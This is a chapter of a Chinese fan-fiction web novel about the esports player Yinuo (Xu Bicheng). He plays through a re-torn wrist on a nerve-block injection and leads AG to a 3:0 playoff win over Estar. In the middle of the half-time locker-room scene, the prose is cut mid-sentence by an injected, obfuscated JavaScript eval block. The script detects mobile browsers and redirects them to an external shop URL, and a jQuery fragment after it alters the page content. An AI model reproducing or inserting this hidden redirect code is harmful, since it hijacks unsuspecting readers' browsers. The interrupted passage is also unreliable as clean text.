2022年9月，成都华西医院
走廊里的消毒水味比往常更浓，浓到让徐必成想吐。他坐在骨科诊室外的塑料椅上，左手死死攥着一张新的MRI片子，右臂打着临时固定，手腕处传来的疼痛已经不是针扎，而是持续的、钝重的、像骨头在相互摩擦的疼。
“三角纤维软骨再次撕裂。”一小时前，医生的声音平静得可怕，“而且这次是新的撕裂面，在原先手术修复位置的旁边。徐先生，我必须严肃地告诉你——如果你继续这样高强度比赛，这只手腕可能会永久性损伤。”
永久性损伤。
徐必成盯着片子上的影像，那个白色的撕裂痕迹在黑色的背景上格外刺眼。他想起三年前第一次手腕疼时，医生也说“休息一下就好”。想起两年前手术时，医生说“术后好好康复就没问题”。想起一个月前，医生说“注意劳逸结合”。
他一直在注意，一直在小心，一直在——骗自己。
“我需要打季后赛。”他对医生说，声音干涩得像砂纸。
医生推了推眼镜，眼神复杂：“徐先生，我是医生，不是教练。从医学角度，我强烈建议你立即停止训练和比赛，进行至少三个月的系统治疗。但从个人角度……我知道季后赛对你们意味着什么。”
意味着什么？
意味着AG的夏季赛征程可能到此为止。意味着他可能再也无法以选手身份站在总决赛舞台上。意味着那些期待他“最后一舞”的粉丝会失望。意味着——他可能真的要退役了。
“如果……如果打封闭针呢？”徐必成问。
医生沉默了很久：“可以。但你要明白，封闭针只是暂时麻痹神经，屏蔽疼痛。它不能治疗损伤，相反，它会让你在感觉不到疼痛的情况下继续伤害手腕。一针封闭，可能需要多一个月的康复时间。”
“能坚持完季后赛吗？”
“如果只是打比赛，可能可以。但你要承受的训练强度呢？你要做的操作呢？封闭针效果会随着时间减弱，疼痛会越来越强烈，到最后你可能连手机都握不住。”
徐必成闭上眼睛。
手机在口袋里震动，是俱乐部经理菲菲打来的。
接通。
“一诺，检查结果怎么样？”菲菲的声音很急。
“不太好。”徐必成实话实说，“手腕再次撕裂，医生建议休息三个月。”
电话那头沉默了几秒，然后传来菲菲压抑的抽泣声：“那……那季后赛……”
“我能打。”徐必成说，“打封闭。”
“可是你的手……”
“菲菲姐。”徐必成打断她，“你还记得2018年AG降级的时候吗？那时候我们什么都没有，但我们还在打。现在我们有冠军，有粉丝，有希望——我不能在这个时候退缩。”
菲菲在电话那头哭了，但很快控制住情绪：“好。我让队医联系最好的麻醉科医生。但一诺，你要答应我——如果疼得受不了，一定要说。不要硬撑。”
“我答应。”
挂断电话，徐必成靠在墙上，看着走廊尽头窗外的天空。
成都九月的天，阴沉得像要下雨。
---
同一时间，上海医学院实验室。
林晓晓盯着电脑屏幕上的医学论文，但一个字也看不进去。手机在旁边，屏幕亮着微博界面，热搜第三：#一诺手腕伤情#
点进去，是几张模糊的医院照片——徐必成戴着口罩帽子，右臂打着固定，从华西医院骨科走出来。配文：“一诺疑似手腕伤情复发，季后赛恐缺席。”
评论区已经炸了：
“完了，AG没了”
“一诺好好养伤，身体重要”
“最后一场那么拼，果然出问题了”
“退役吧，别硬撑了”
她咬着嘴唇，打开那个加密文件夹，里面是她整理的徐必成手腕伤情时间线：
2019年11月：首次出现手腕疼痛，诊断为轻微劳损。
2020年3月：疼痛加剧，诊断为肌腱炎。
2021年1月：MRI显示三角纤维软骨撕裂，建议手术。
2021年2月：接受手腕TFCC修复手术。
2021年6月：术后四个月复出，状态起伏。
2022年7月：疼痛反复，诊断为术后康复不完全。
2022年9月：再次撕裂。
一条清晰的下行曲线。
她打开邮箱，找到三天前给AG医疗团队发的邮件——关于手腕TFCC二次损伤的康复建议和风险预警。已读，未回复。
她犹豫了一下，找到徐必成的微博，私信：“诺队，我是林晓晓。看到你手腕伤情的消息，很担心。作为医学院的学生，我想提醒你：二次损伤的康复难度是第一次的三倍以上，如果处理不当，可能会导致永久性功能障碍。请一定，一定要听医生的建议。无论你做什么决定，我都会支持你。但请记住——健康是一辈子的，比赛只是一时的。”
发送。
几乎是立刻，消息显示已读。
但没回复。
她盯着屏幕，很久。然后，她打开购票软件，买了三天后去成都的机票。
---
AG基地，战术分析室。
气氛凝重得能拧出水来。五个少年围在桌边，教练Awoke站在白板前，但白板上空空如也——Cat不在。
Cat三天前晕倒在训练室，被紧急送医。诊断结果是长期熬夜、高压力工作导致的急性心肌炎，需要至少三个月的卧床静养。
AG失去了战术大脑。
“季后赛第一轮，打Estar。”Awoke的声音嘶哑，“Estar目前联盟第一，13胜2负。我们……第八名，8胜8负。”
实力差距悬殊。
更糟的是，AG现在既没有健康的王牌选手，也没有顶级的战术教练。
“Cat哥那边……”长生小声问。
“情况稳定，但短期内回不来。”Awoke说，“他让我转告你们——相信彼此，相信自己。你们是冠军，冠军的尊严，要靠自己守住。”
冠军的尊严。
徐必成握紧了左手，右臂的固定让他看起来像个残兵。但他知道，他现在就是AG的旗帜，哪怕这面旗帜已经千疮百孔，也不能倒。
“Estar的战术我们很熟悉。”Awoke在白板上画着，“他们打运营转线，打中野辅联动，打资源掠夺。我们要赢，只有一个办法——比他们更凶，比他们更快，比他们更敢打。”
“怎么打？”钟意问。
“五核。”徐必成开口，声音平静，“但不是常规的五核。是——搏命五核。”
所有人都看向他。
“Estar的打法很稳，很运营，很团队。”徐必成站起来，走到白板前，用左手拿起马克笔，“但稳就意味着——怕乱。运营就意味着——怕断。团队就意味着——怕散。”
他在白板上写下三个字：“乱、断、散”。
“我们要做的，就是打乱他们的节奏，打断他们的运营，打散他们的团队。怎么打？用最极致的个人操作，用最冒险的团战决策，用最不合理的阵容选择。”
他顿了顿，看向每个人：“但这很危险。因为如果我们没打好，会被碾压，会被嘲笑，会输得很难看。你们……敢吗？”
钟意第一个举手：“敢。”
长生推了推眼镜：“敢。”
轩染点头：“敢。”
大帅说：“敢。”
徐必成笑了，尽管笑容有些苦涩：“好。那我们就——搏命。”
---
三天后，季后赛第一轮，成都主场。
能容纳三千人的场馆座无虚席，但气氛诡异得像灵堂。AG粉丝区，所有人手里都举着应援牌，但没人欢呼，没人呐喊，只是静静地坐着，像在等待一场审判。
林晓晓和陈薇坐在第一排。陈薇手里拿着AG的队旗，但旗子是卷起来的。林晓晓盯着舞台，手心全是汗。
舞台上，徐必成坐在选手席上。他的右臂还打着固定，但手腕处能看到明显的绷带痕迹——封闭针已经打了，疼痛暂时屏蔽，但手腕的僵硬感还在，像戴了个无形的枷锁。
导播给了特写镜头。大屏幕上，他的表情平静得可怕，但额角的汗珠在灯光下清晰可见。
“一诺带伤出战。”解说李九的声音透着沉重，“这可能是他职业生涯最艰难的一场比赛。手腕伤情复发，战术教练缺席，对手是联盟第一的Estar——AG今天，凶多吉少。”
琪琪接话：“但这就是电竞的魅力。在绝境中寻找希望，在不可能中创造可能。今天，我们要看的就是——AG能否创造奇迹。”
BP开始。
---
Estar蓝色方。
教练47站在选手席后方，表情轻松。Estar这个赛季状态火热，季后赛第一轮对阵第八名的AG，在他们看来就是走个过场。
“禁公孙离和孙尚香。”47说，“针对一诺。”
Estar前两Ban果然给到了这两个射手。AG则按掉了大乔和鲁班大师。
“一楼拿澜。”47说，“给他们镜，看他们敢不敢拿。”
Estar锁定澜。AG毫不犹豫地锁定了镜——钟意最自信的英雄。
“有魄力。”47笑了，“那我们就不客气了。”
Estar二三楼拿出了清融的西施和易峥的虞姬——极致的控制加输出。
AG三四楼选择了长生不知火舞和徐必成的狄仁杰。
Estar最后两手锁定了子阳的张飞和坦然的吕布。
AG五楼，大帅拿出了他的招牌英雄——鬼谷子。
阵容确定：
AG：镜（钟意）、不知火舞（长生）、狄仁杰（一诺）、鬼谷子（大帅）、马超（轩染）
Estar：澜（花海）、西施（清融）、虞姬（易峥）、张飞（子阳）、吕布（坦然）
加载界面，徐必成闭上眼睛。
再睁开时，眼神锐利得像刀。
“记住，搏命。”他在语音里说，“抓到机会就上，不要犹豫。”
“明白！”
游戏开始。
开局，Estar打得极其稳健。清线，控野，做视野，步步为营。AG则打得极其凶悍——钟意的镜二级就入侵野区，长生的不知火舞三级就游走，大帅的鬼谷子闪现开团。
乱。
Estar显然不习惯这种打法。他们习惯了运营，习惯了节奏，习惯了控制。但现在，AG像一群疯子，到处乱冲，到处乱打，根本不管什么战术，什么节奏。
八分钟，AG经济领先一千。
“他们在乱打。”清融在语音里说，“但我们不能乱。稳住，按我们的节奏来。”
但AG不给Estar稳住的机会。十分钟，风暴龙王刷新，AG直接开龙——不是偷，是明着打，当着Estar的面打。
“他们疯了？”花海愣住，“我们五个人都在，他们敢开龙？”
但AG就是敢。
而且，他们打下来了。
大帅的鬼谷子闪现开团，拉到三人。长生的不知火舞进场收割，秒掉清融的西施。钟意的镜切掉易峥的虞姬。轩染的马超收割残局。
完美团战。
AG打出1换4，拿下龙王，带着兵线推上高地。
Estar顽强抵抗，但终究不敌。
水晶爆炸。
1:0！
AG拿下第一局！
“搏命成功了！”李九激动地喊道，“AG用最疯狂的打法，击败了最稳健的Estar！这就是电竞！这就是奇迹！”
---
中场休息，AG休息室。
五个人抱在一起，又哭又笑。
“我们赢了！”钟意大喊。
“还没完。”徐必成说，声音有些颤抖——不是激动，是手腕的疼痛开始回来了，封闭针的效果在减弱。
队医冲上来，检查他的手腕。
“怎么样？”Awoke问。
“还能坚持。”徐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028859|194480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
必成说，“但下一局……可能打不了太久了。”
“什么意思？”
“意思就是——”徐必成看着队友，“我们要在最短的时间内结束比赛。拖得越久，对我越不利。”
四个人对视一眼，眼神坚定。
“那就速战速决。”长生说。
“第二局，我们继续搏命。”钟意说。
“更凶，更快，更敢。”轩染说。
“好。”徐必成点头，“那就——继续搏命。”
---
第二局BP开始。
Estar调整战术，拿出了他们最擅长的运营体系：坦然猪八戒，花海裴擒虎，清融沈梦溪，易峥公孙离，子阳太乙真人。
AG则选择了更极致的操作阵容：钟意澜，长生上官婉儿，徐必成马可波罗，轩染关羽，大帅张飞。
加载界面，徐必成活动了一下手指。
僵硬。
像戴着手套在操作。
但他必须操作。
游戏开始。
这一局，AG打得更凶，更疯，更不要命。澜一级入侵野区，上官婉儿二级游走，关羽三级单杀，马可波罗四级转大。
乱。
极致的乱。
Estar被彻底打懵了。他们想运营，但运营需要时间，需要空间，需要节奏。AG不给时间，不给空间，不给节奏。
十二分钟，AG推掉Estar三路高地。
十五分钟，风暴龙王团。AG直接强开，不管阵型，不管站位，就是冲。
团灭。
一波。
2:0！
AG再下一城！
“让二追三的剧本要反过来了！”琪琪激动地说，“现在是AG 2:0领先Estar！第八名要掀翻第一名了！”
---
第三局，Estar背水一战。
他们拿出了压箱底的东西：坦然关羽，花海镜，清融不知火舞，易峥狄仁杰，子阳鬼谷子。
极致的个人能力阵容，要用操作硬碰硬。
AG这边，徐必成的手腕已经疼到麻木了。他能感觉到，每一次点击屏幕，都像有电流从手腕传到指尖，然后传遍全身。
但他还在操作。
因为这是第三局，是赛点局，是——可能决定AG夏季赛命运的一局。
加载界面，他在语音里说：“这一局，可能是我的最后一局了。”
“诺哥……”钟意想说什么。
“听我说完。”徐必成打断他，“我的手腕……快撑不住了。所以这一局，我们要在十五分钟内结束比赛。十五分钟，如果赢不了，我就……可能打不了了。”
四个人沉默。
然后长生说：“那就十五分钟。”
“十五分钟。”钟意说。
“十五分钟。”轩染说。
“十五分钟。”大帅说。
徐必成笑了：“好。那就——十五分钟。”
游戏开始。
这一局，AG打得像疯了一样。不，不是像，就是疯了。五个人，五个位置，五条疯狗，见人就咬，见塔就推，见龙就打。
Estar被打得措手不及。他们想操作，但操作需要冷静，需要判断，需要时机。AG不给冷静，不给判断，不给时机。
十分钟，AG推掉Estar所有外塔。
十二分钟，AG拿下主宰。
十三分钟，AG带着主宰先锋上高地。
十四分钟，高地团。
决定胜负的一波。
子阳的鬼谷子闪现开团，拉到三人。清融的不知火舞进场收割。但几乎同时，大帅的张飞也开到了Estar的后排。
混战。
徐必成的马可波罗在后方输出。他的手腕已经疼到没有知觉了，他只是机械地点着屏幕，机械地释放技能，机械地走位。
然后，他看到了机会。
易峥的狄仁杰站位失误，露出了破绽。
净化，闪现，大招——转！
马可波罗转进人群，打出成吨伤害。长生的上官婉儿起飞，秒掉易峥。钟意的澜收割残局，轩染的关羽绕后控场。
完美团战。
团灭。
十五分钟整，AG推平水晶。
3:0！
AG零封Estar！
晋级季后赛第二轮！
---
现场彻底疯狂了。
AG粉丝区，所有人都在尖叫，在欢呼，在哭泣。林晓晓抱着陈薇，泪流满面。但她的眼泪不是喜悦，是心疼——因为她看到了，比赛结束后，徐必成摘下耳机时，那个痛苦到扭曲的表情。
舞台上，AG五人紧紧拥抱。但徐必成是最后一个站起来的，而且站得很慢，很艰难。导播给了特写镜头——他的右手在剧烈颤抖，脸色苍白得像纸。
赛后采访，记者把话筒递给徐必成，但他摇了摇头，把话筒推给了长生。
“一诺的手……”记者小声问。
“不太舒服。”长生说，“但他坚持打完了比赛。这就是我们的队长——只要还能打，就不会倒下。”
采访草草结束。徐必成被队医扶着走下舞台，直接送往医院。
林晓晓想跟上去，但被保安拦住了。她只能站在通道口，看着那个单薄的背影消失在拐角。
手机震动，是陈薇发来的微信：“晓晓，一诺他……”
“我知道。”林晓晓回复，“他可能……真的打不了了。”
关掉手机，她看向舞台。
那里，AG的其他四人还在接受粉丝的欢呼。那里，金色的雨已经开始飘落。那里，胜利的喜悦在空气中弥漫。
但林晓晓知道，在那喜悦的背后，是沉重的代价。
是可能再也无法恢复的手腕。
是可能就此终结的职业生涯。
是——一个时代的暗涌，正在悄然涌动。
而他们，都站在暗涌的中心。
不知前方是岸，还是更深的海。
【第二十一章·完】